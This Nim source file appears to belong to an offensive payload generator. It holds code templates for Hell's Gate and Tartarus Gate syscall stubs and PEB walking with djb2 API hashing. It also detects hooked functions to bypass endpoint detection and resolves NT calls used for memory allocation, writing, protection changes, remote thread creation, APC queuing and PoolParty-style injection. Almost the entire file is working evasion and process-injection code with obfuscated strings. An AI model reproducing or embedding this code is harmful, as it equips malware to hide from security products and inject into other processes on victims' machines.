
let DInvokeGetModuleHandleADelegate* = """

type
    GetModuleHandleA_t = proc(lpModuleName: LPCSTR): HMODULE {.stdcall.}

const
    GetModuleHandleA_HASH  = obf("GetModuleHandleA")

var MyGetModuleHandleA: GetModuleHandleA_t

MyGetModuleHandleA = cast[GetModuleHandleA_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetModuleHandleA_HASH, 0, FALSE)))

"""

let HellsgateAllocDelegate*  = """

proc NtAllocateVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntAllocfuncHash        : uint64            = djb2_hash(obf("NtAllocateVirtualMemory"))
    ntAllocTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntAllocfuncHash)
"""

let HellsgateNtReadVirtualMemoryDelegate*  = """

proc NtReadVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToRead: SIZE_T, NumberOfBytesRead: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntReadfuncHash        : uint64            = djb2_hash(obf("NtReadVirtualMemory"))
    ntReadTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntReadfuncHash)

"""

let HellsgateNtFreeVirtualMemoryDelegate*  = """

proc NtFreeVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, FreeType: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntFreefuncHash        : uint64            = djb2_hash(obf("NtFreeVirtualMemory"))
    ntFreeTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntFreefuncHash)


"""

let HellsgateNtOpenProcessDelegate*  = """

proc NtOpenProcess(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntOpenfuncHash        : uint64            = djb2_hash(obf("NtOpenProcess"))
    ntOpenTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntOpenfuncHash)

"""

let HellsgateNtDuplicateObjectDelegate* = """

proc NtDuplicateObject(SourceProcessHandle: HANDLE, SourceHandle: HANDLE, TargetProcessHandle: HANDLE, TargetHandle: PHANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Options: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall` 
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntDuplicatefuncHash        : uint64            = djb2_hash(obf("NtDuplicateObject"))
    ntDuplicateTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntDuplicatefuncHash)

"""

let HellsgateWriteDelegate*  = """


proc NtWriteVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntWritefuncHash        : uint64            = djb2_hash(obf("NtWriteVirtualMemory"))
    ntWriteTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)

"""

let HellsgateProtectDelegate*  = """


proc NtProtectVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntProtectfuncHash        : uint64            = djb2_hash(obf("NtProtectVirtualMemory"))
    ntProtectTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntProtectfuncHash)

"""

let HellsgateNtCreateSectionDelegate*  = """

proc NtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, MaximumSize: PLARGE_INTEGER, SectionPageProtection: ULONG, AllocationAttributes: ULONG, FileHandle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntCreateSectionfuncHash        : uint64            = djb2_hash(obf("NtCreateSection"))
    ntCreateSectionTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntCreateSectionfuncHash)

"""

let HellsgateNtMapViewOfSectionDelegate*  = """

proc NtMapViewOfSection(SectionHandle: HANDLE, ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, CommitSize: SIZE_T, SectionOffset: PLARGE_INTEGER, ViewSize: PSIZE_T, InheritDisposition: ULONG, AllocationType: ULONG, Win32Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntMapViewOfSectionfuncHash        : uint64            = djb2_hash(obf("NtMapViewOfSection"))
    ntMapViewOfSectionTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntMapViewOfSectionfuncHash)

"""

let HellsgateNtQueueApcThreadDelegate* = """

proc NtQueueApcThread(ThreadHandle: HANDLE, ApcRoutine: PKNORMAL_ROUTINE, ApcArgument1: PVOID, ApcArgument2: PVOID, ApcArgument3: PVOID): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntQueueApcThreadfuncHash        : uint64            = djb2_hash(obf("NtQueueApcThread"))
    ntQueueApcThreadTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntQueueApcThreadfuncHash)

"""

let HellsgateNtTestAlertDelegate*  = """

proc NtTestAlert(): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntTestAlertfuncHash        : uint64            = djb2_hash(obf("NtTestAlert"))
    ntTestAlertTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntTestAlertfuncHash)

"""


let HellsgateNtCreateThreadExDelegate*  = """

type
    PS_ATTR_UNION {.pure, union.} = object
        Value: ULONG
        ValuePtr: PVOID
    PS_ATTRIBUTE {.pure.} = object
        Attribute: ULONG 
        Size: SIZE_T
        u1: PS_ATTR_UNION
        ReturnLength: PSIZE_T
    PPS_ATTRIBUTE = ptr PS_ATTRIBUTE
    PS_ATTRIBUTE_LIST {.pure.} = object
        TotalLength: SIZE_T
        Attributes: array[2, PS_ATTRIBUTE]
    PPS_ATTRIBUTE_LIST = ptr PS_ATTRIBUTE_LIST
    KNORMAL_ROUTINE {.pure.} = object
        NormalContext: PVOID
        SystemArgument1: PVOID
        SystemArgument2: PVOID
    PKNORMAL_ROUTINE = ptr KNORMAL_ROUTINE

proc NtCreateThreadEx(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntCreatefuncHash        : uint64            = djb2_hash(obf("NtCreateThreadEx"))
    ntCreateTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntCreatefuncHash)

"""

let HellsgateNtCloseDelegate*  = """


proc NtClose(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall`
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var 
    ntClosefuncHash        : uint64            = djb2_hash(obf("NtClose"))
    ntCloseTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntClosefuncHash)

"""

# poolparty defs
# NtSetInformationWorkerFactory, ZwSetIoCompletion, ZwAssociateWaitCompletionPacket

let HellsgateNtSetInformationWorkerFactoryDelegate*  = """

proc NtSetInformationWorkerFactory(WorkerFactoryHandle: HANDLE, WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall` 
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    ntSetInformationWorkerFactoryfuncHash        : uint64            = djb2_hash(obf("NtSetInformationWorkerFactory"))
    ntSetInformationWorkerFactoryTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : ntSetInformationWorkerFactoryfuncHash)

"""

let HellsgateZwSetIoCompletionDelegate*  = """

proc ZwSetIoCompletion(IoCompletionHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall` 
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    zwSetIoCompletionfuncHash        : uint64            = djb2_hash(obf("ZwSetIoCompletion"))
    zwSetIoCompletionTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : zwSetIoCompletionfuncHash)

"""

let HellsgateZwAssociateWaitCompletionPacketDelegate*  = """

proc ZwAssociateWaitCompletionPacket(WaitCopmletionPacketHandle: HANDLE, IoCompletionHandle: HANDLE, TargetObjectHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR, AlreadySignaled: PBOOLEAN): NTSTATUS {.asmNoStackFrame.} =
    asm ===
        mov r10, rcx
        mov eax, `syscall` 
        mov r11, `syscallJumpAddress`
        jmp r11
        ret
    ===

var
    zwAssociateWaitCompletionPacketfuncHash        : uint64            = djb2_hash(obf("ZwAssociateWaitCompletionPacket"))
    zwAssociateWaitCompletionPacketTable         : HG_TABLE_ENTRY    = HG_TABLE_ENTRY(dwHash : zwAssociateWaitCompletionPacketfuncHash)

"""



let HellsgateStub*  = """

when defined(Hellsgate):

    #from random import randomize,rand
    # currently not in use
    #randomize()
    
        #[
            Windows Undocumented Structures - Windows 7+
        ]#
    var 
        syscallJumpAddress: ByteAddress
    
    type
        # https://doxygen.reactos.org/d3/d71/struct__ASSEMBLY__STORAGE__MAP__ENTRY.html
        ASSEMBLY_STORAGE_MAP {.pure.} = object
            Flags      : ULONG
            DosPath    : UNICODE_STRING
            Handle     : HANDLE
        PASSEMBLY_STORAGE_MAP = ptr ASSEMBLY_STORAGE_MAP
    
        LDR_DLL_LOAD_REASON {.pure.} = enum
            LoadReasonUnknown                       = -1
            LoadReasonStaticDependency              = 0
            LoadReasonStaticForwarderDependency     = 1
            LoadReasonDynamicForwarderDependency    = 2
            LoadReasonDelayloadDependency           = 3
            LoadReasonDynamicLoad                   = 4
            LoadReasonAsImageLoad                   = 5
            LoadReasonAsDataLoad                    = 6
            LoadReasonEnclavePrimary                = 7
            LoadReasonEnclaveDependency             = 8
    
        RTL_BALANCED_NODE_STRUCT1 {.pure.} = object
            Left : PRTL_BALANCED_NODE
            Right : PRTL_BALANCED_NODE
    
        RTL_BALANCED_NODE_UNION1 {.pure, union.} = object
            Children : array[2, PRTL_BALANCED_NODE]
            Struct1  : RTL_BALANCED_NODE_STRUCT1
    
        RTL_BALANCED_NODE_UNION2 {.pure, union.} = object
            Red        {.bitsize:1.}   : UCHAR
            Balance    {.bitsize:2.}   : UCHAR
            ParentValue                : ULONG_PTR
    
        RTL_BALANCED_NODE {.pure.} = object
            Union1 : RTL_BALANCED_NODE_UNION1
            Union2 : RTL_BALANCED_NODE_UNION2
        PRTL_BALANCED_NODE = ptr RTL_BALANCED_NODE
    
        LDR_DATA_TABLE_ENTRY_UNION_ONE {.pure, union.} = object
            InInitializationOrderLinks  : LIST_ENTRY
            InProgressLinks             : LIST_ENTRY
        PLDR_DATA_TABLE_ENTRY_UNION_ONE = ptr LDR_DATA_TABLE_ENTRY_UNION_ONE
    
        LDR_DATA_TABLE_ENTRY_STRUCT_ONE {.pure.} = object
            PackagedBinary {.bitsize:1.}           : ULONG
            MarkedForRemoval {.bitsize:1.}         : ULONG
            ImageDll {.bitsize:1.}                 : ULONG
            LoadNotificationSent {.bitsize:1.}     : ULONG
            TelemetryEntryProcessed {.bitsize:1.}  : ULONG
            ProcessStaticImport {.bitsize:1.}      : ULONG
            InLegacyLists {.bitsize:1.}            : ULONG
            InIndexes {.bitsize:1.}                : ULONG
            ShimDll {.bitsize:1.}                  : ULONG
            InExceptionTable {.bitsize:1.}         : ULONG
            ReservedFlags1 {.bitsize:2.}           : ULONG
            LoadInProgress {.bitsize:1.}           : ULONG
            LoadConfigProcessed {.bitsize:1.}      : ULONG
            EntryProcessed {.bitsize:1.}           : ULONG
            ProtectDelayLoad {.bitsize:1.}         : ULONG
            ReservedFlags3 {.bitsize:2.}           : ULONG
            DontCallForThreads {.bitsize:1.}       : ULONG
            ProcessAttachCalled {.bitsize:1.}      : ULONG
            ProcessAttachFailed {.bitsize:1.}      : ULONG
            CorDeferredValidate {.bitsize:1.}      : ULONG
            CorImage {.bitsize:1.}                 : ULONG
            DontRelocate {.bitsize:1.}              : ULONG
            CorILOnly {.bitsize:1.}                : ULONG
            ChpeImage {.bitsize:1.}                : ULONG
            ReservedFlags5 {.bitsize:2.}           : ULONG
            Redirected {.bitsize:1.}               : ULONG
            ReservedFlags6 {.bitsize:2.}           : ULONG
            CompatDatabaseProcessed {.bitsize:1.}  : ULONG
    
        LDR_DATA_TABLE_ENTRY_UNION_TWO {.pure, union.} = object
            FlagGroup   : array[4, UCHAR]
            Flags       : ULONG
            Struct      : LDR_DATA_TABLE_ENTRY_STRUCT_ONE            
        PLDR_DATA_TABLE_ENTRY_UNION_TWO = ptr LDR_DATA_TABLE_ENTRY_UNION_TWO
        
    
        PEB_LDR_DATA {.pure.} = object
            Length                             : ULONG
            Initialized                        : BOOLEAN
            SsHandle                           : PVOID
            InLoadOrderModuleList              : LIST_ENTRY
            InMemoryOrderModuleList            : LIST_ENTRY
            InInitializationOrderModuleList    : LIST_ENTRY
            EntryInProgress                    : PVOID
            ShutdownInProgress                 : BOOLEAN
            ShutdownThreadId                   : HANDLE
        PPEB_LDR_DATA = ptr PEB_LDR_DATA
    
        PEB {.pure.} = object
            InheritedAddressSpace                  : BOOLEAN
            ReadImageFileExecOptions               : BOOLEAN
            BeingDebugged                          : BOOLEAN
            PebUnion1                              : UCHAR
            Padding0                               : array[4, UCHAR]
            Mutant                                 : HANDLE
            ImageBaseAddress                       : PVOID
            Ldr                                    : PPEB_LDR_DATA                             
            ProcessParameters                      : PRTL_USER_PROCESS_PARAMETERS  
            SubSystemData                          : PVOID                         
            ProcessHeap                            : HANDLE                        
            FastPebLock                            : PVOID          # PRTL_CRITICAL_SECTION
            AtlThunkSListPtr                       : PVOID                         
            IFEOKey                                : PVOID                         
            PebUnion2                              : ULONG                         
            Padding1                               : array[4, UCHAR]               
            KernelCallBackTable                    : ptr PVOID                     
            SystemReserved                         : ULONG                         
            AltThunkSListPtr32                     : ULONG                         
            ApiSetMap                              : PVOID                         
            TlsExpansionCounter                    : ULONG                         
            Padding2                               : array[4, UCHAR]               
            TlsBitmap                              : PVOID                         
            TlsBitmapBits                          : array[2, ULONG]               
            ReadOnlyShareMemoryBase                : PVOID                         
            SharedData                             : PVOID                         
            ReadOnlyStaticServerData               : ptr PVOID                     
            AnsiCodePageData                       : PVOID                         
            OemCodePageData                        : PVOID                         
            UnicodeCaseTableData                   : PVOID                         
            NumberOfProcessors                     : ULONG                         
            NtGlobalFlag                           : ULONG                         
            CriticalSectionTimeout                 : LARGE_INTEGER                 
            HeapSegmentReserve                     : ULONG_PTR                     
            HeapSegmentCommit                      : ULONG_PTR                     
            HeapDeCommitTotalFreeThreshold         : ULONG_PTR                     
            HeapDeCommitFreeBlockThreshold         : ULONG_PTR                     
            NumberOfHeaps                          : ULONG                         
            MaximumNumberOfHeaps                   : ULONG                         
            ProcessHeaps                           : ptr PVOID                     
            GdiSharedHandleTable                   : PVOID                         
            ProcessStarterHelper                   : PVOID                         
            GdiDCAttributeList                     : ULONG                         
            Padding3                               : array[4, UCHAR]               
            LoaderLock                             : PVOID           # PRTL_CRITICAL_SECTION
            OSMajorVersion                         : ULONG
            OSMinorVersion                         : ULONG
            OSBuildNumber                          : USHORT
            OSCSDVersion                           : USHORT
            OSPlatformId                           : ULONG
            ImageSubsystem                         : ULONG
            ImageSubsystemMajorVersion             : ULONG
            ImageSubsystemMinorVersion             : ULONG
            Padding4                                : array[4, UCHAR]
            ActiveProcessAffinityMask              : PVOID            # KAFFINITY
            GdiHandleBuffer                         : array[0x3c, ULONG]
            PostProcessInitRoutine                 : VOID
            TlsExpansionBitmap                     : PVOID
            TlsExpansionBitmapBits                 : array[0x20, ULONG]
            SessionId                              : ULONG
            Padding5                               : array[4, UCHAR]
            AppCompatFlags                         : ULARGE_INTEGER
            AppCompatFlagsUser                     : ULARGE_INTEGER
            ShimData                               : PVOID
            AppCompatInfo                          : PVOID
            CSDVersion                             : UNICODE_STRING
            ActivationContextData                  : PVOID             # PACTIVATION_CONTEXT_DATA 
            ProcessAssemblyStorageMap              : PVOID             # PASSEMBLY_STORAGE_MAP
            SystemDefaultActivationContextData     : PVOID             # PACTIVATION_CONTEXT_DATA
            SystemAssemblyStorageMap               : PVOID             # PASSEMBLY_STORAGE_MAP
            MinimumStackCommit                     : ULONG_PTR
            Sparepointers                          : array[4, PVOID]
            SpareUlongs                            : array[5, ULONG]
            WerRegistrationData                    : PVOID
            WerShipAssertPtr                       : PVOID
            Unused                                 : PVOID
            ImageHeaderHash                        : PVOID
            TracingFlags                           : ULONG
            CsrServerReadOnlySharedMemoryBase      : ULONGLONG
            TppWorkerpListLock                     : ULONG
            TppWorkerpList                         : LIST_ENTRY
            WaitOnAddressHashTable                 : array[0x80, PVOID]
            TelemtryCoverageHeader                 : PVOID
            CloudFileFlags                         : ULONG
            CloudFileDiagFlags                     : ULONG
            PlaceholderCompatabilityMode           : CHAR
            PlaceholderCompatabilityModeReserved   : array[7, CHAR]
            LeapSecondData                         : PVOID
            LeapSecondFlags                        : ULONG
            NtGlobalFlag2                          : ULONG
        PPEB = ptr PEB
    
        TEB {.pure.} = object
            NtTib                                  : NT_TIB
            EnvironmentPointer                     : PVOID
            ClientId                               : CLIENT_ID
            ActiveRpcHandle                        : PVOID
            ThreadLocalStoragePointer              : PVOID
            ProcessEnvironmentBlock                : PEB
            LastErrorValue                         : ULONG
            CountOfOwnedCriticalSections           : ULONG
            CsrClientThread                        : PVOID
            Win32ThreadInfo                        : PVOID
            User32Reserved                         : array[0x1A, ULONG]
            UserReserved                           : array[5, ULONG]
            WOW32Reserved                          : PVOID
            CurrentLocale                          : ULONG
            FpSoftwareStatusRegister               : ULONG
            ReservedForDebuggerInstrumentation     : array[0x10, PVOID]
        PTEB = ptr TEB
    
    
    
    
    
    var syscall  : WORD
    type
        HG_TABLE_ENTRY = object
            pAddress    : PVOID
            dwHash      : uint64
            wSysCall    : WORD
        PHG_TABLE_ENTRY = ptr HG_TABLE_ENTRY
    
    proc djb2_hash(pFuncName : cstring) : uint64 =
    
        var hash : uint64 = 0x5381
    
        for c in pFuncName:
            hash = ((hash shl 0x05) + hash) + cast[uint64](ord(c))
    
        return hash
    
    proc moduleToBuffer(pCurrentModule : PLDR_DATA_TABLE_ENTRY) : PWSTR =
        return pCurrentModule.FullDllName.Buffer
    
    proc flinkToModule(pCurrentFlink : LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
        return cast[PLDR_DATA_TABLE_ENTRY](cast[ByteAddress](pCurrentFlink) - 0x10)
    
    proc getExportTable(pCurrentModule : PLDR_DATA_TABLE_ENTRY, pExportTable : var PIMAGE_EXPORT_DIRECTORY) : bool =
    
        let 
            pImageBase : PVOID              = pCurrentModule.DLLBase
            pDosHeader : PIMAGE_DOS_HEADER  = cast[PIMAGE_DOS_HEADER](pImageBase)
            pNTHeader : PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[ByteAddress](pDosHeader) + pDosHeader.e_lfanew)
    
        if pDosheader.e_magic != IMAGE_DOS_SIGNATURE:
            return false
    
        if pNTHeader.Signature != cast[DWORD](IMAGE_NT_SIGNATURE):
            return false
    
        pExportTable = cast[PIMAGE_EXPORT_DIRECTORY](cast[ByteAddress](pImageBase) + pNTHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
    
        return true
    
    proc getTableEntry(pImageBase : PVOID, pCurrentExportDirectory : PIMAGE_EXPORT_DIRECTORY, tableEntry : var HG_TABLE_ENTRY) : bool =
    
        var 
            cx : DWORD = 0
            numFuncs : DWORD = pCurrentExportDirectory.NumberOfNames
            DOWN = 32
            UP = -32
        let 
            pAddrOfFunctions    : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfFunctions)
            pAddrOfNames        : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNames)
            pAddrOfOrdinals     : ptr UncheckedArray[WORD]  = cast[ptr UncheckedArray[WORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNameOrdinals)
        
        var foundFuncAddr: PVOID
        while cx < numFuncs:    
            var 
                pFuncOrdinal    : WORD      = pAddrOfOrdinals[cx]
                pFuncName       : cstring    = $(cast[PCHAR](cast[ByteAddress](pImageBase) + pAddrOfNames[cx]))
                funcHash        : uint64    = djb2_hash(pFuncName)
                funcRVA         : DWORD64   = pAddrOfFunctions[pFuncOrdinal]
                pFuncAddr       : PVOID     = cast[PVOID](cast[ByteAddress](pImageBase) + funcRVA)
            
            if funcHash == tableEntry.dwHash:
    
                tableEntry.pAddress = pFuncAddr
                # Not hooked API
                if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3)[] == 0xB8:
                    tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4)[]
                    foundFuncAddr = pFuncAddr
                    break
                # Credit: https://github.com/Haunted-Banshee/ErebusGate/blob/main/ErebusGate.nim
                # Classic hook API 
                # Check the the first byte is 0xe9
                elif cast[PBYTE](cast[ByteAddress](pFuncAddr))[] == 0xE9:
                    for idx in countup(1,500):
                        if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * UP)[] == 0xB8:
                            tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * UP))[] + cast[WORD](idx)
                            foundFuncAddr = pFuncAddr
                            break
                        if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * DOWN)[] == 0xB8:
                            tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * DOWN))[] - cast[WORD](idx)
                            foundFuncAddr = pFuncAddr
                            break
                # Tartarus gate from Nim
                # Check the the third is 0xe9
                elif cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 )[] == 0xE9:
                    for idx in countup(1,500):
                        if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * UP)[] == 0xB8:
                            tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * UP))[] + cast[WORD](idx)
                            foundFuncAddr = pFuncAddr
                            break
                        if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * DOWN)[] == 0xB8:
                            tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * DOWN))[] - cast[WORD](idx)
                            foundFuncAddr = pFuncAddr
                            break
            inc cx
        
        if cx >= numFuncs:
            return false
        
        var offset: UINT = 0
        while true:
            var currByte = cast[PDWORD](foundFuncAddr + offset)[]
            if obf("050F0375") in $currByte.toHex:
                when defined(verbose):
                    echo obf("[*] Found corresponding syscall instruction in ntdll addr ") & $cast[ByteAddress](foundFuncAddr + offset).toHex & obf(": ") & $currByte.toHex
                syscallJumpAddress = cast[ByteAddress](foundFuncAddr + offset) + sizeof(WORD)
                return true
            offset = offset + 1

    
    proc GetPEBAsm64(): PPEB {.asmNoStackFrame.} =
        asm ===
            mov rax, qword ptr gs:[0x60]
            ret
        ===
    
    #[
    # Credit: https://github.com/eversinc33/BouncyGate/blob/main/HellsGate.nim
    proc getSyscallInstructionAddress(ntdllModuleBaseAddr: PVOID): ByteAddress =
        ## Get The address of a syscall instruction from ntdll to make sure all syscalls go through ntdll
        when defined(verbose):
            echo obf("[*] Resolving syscall...")
        when defined(verbose):
            echo obf("[*] NTDLL Base: ") & $cast[int](ntdllModuleBaseAddr).toHex
        #var
        #    num = rand(75)
        #    count: int = 0
        var offset: UINT = 0
        while true:
            var currByte = cast[PDWORD](ntdllModuleBaseAddr + offset)[]
            if "050F0375" in $currByte.toHex:
                # Random Syscall instead of always the first one
                #if (count == num):
                when defined(verbose):
                    echo obf("[*] Found syscall in ntdll addr ") & $cast[ByteAddress](ntdllModuleBaseAddr + offset).toHex & ": " & $currByte.toHex
                return cast[ByteAddress](ntdllModuleBaseAddr + offset) + sizeof(WORD)
            offset = offset + 1

        when defined(verbose):
            echo obf("[!] Did not find a syscall instruction in ntdll...")
        quit(1)
    ]#
    proc getNextModule(flink : var LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
        flink = flink.Flink[]
        return flinkToModule(flink)
    
    proc searchLoadedModules(pCurrentPeb : PPEB, tableEntry : var HG_TABLE_ENTRY) : bool =
        var 
            currFlink       : LIST_ENTRY                = pCurrentPeb.Ldr.InMemoryOrderModuleList.Flink[]
            currModule      : PLDR_DATA_TABLE_ENTRY     = flinkToModule(currFlink)                 
            moduleName      : string
            pExportTable    : PIMAGE_EXPORT_DIRECTORY
        let 
            beginModule = currModule
        
        while true:
    
            moduleName = $moduleToBuffer(currModule)
    
            if moduleName.len() == 0 or moduleName in paramStr(0):            
                currModule = getNextModule(currFlink)
                if beginModule == currModule:
                    break
                continue
            # Not needed anymore, as we are now jumping to the corresponding syscall in ntdll.dll instead of the first one
            #if obf("ntdll") in moduleName.toLower():
            #    syscallJumpAddress = getSyscallInstructionAddress(currModule.DLLBase)
            
            if not getExportTable(currModule, pExportTable):
                when defined(verbose):
                    echo obf("[-] Failed to get export table...")
                return false
    
            if getTableEntry(currModule.DLLBase, pExportTable, tableEntry):
                return true
            
            currModule = getNextModule(currFlink)
            if beginModule == currModule:
                break
        return false
    
    proc getSyscall(tableEntry : var HG_TABLE_ENTRY) : bool =
        
        let currentPeb  : PPEB = GetPEBAsm64()
        
        if not searchLoadedModules(currentPeb, tableEntry):
            return false
    
        return true


"""

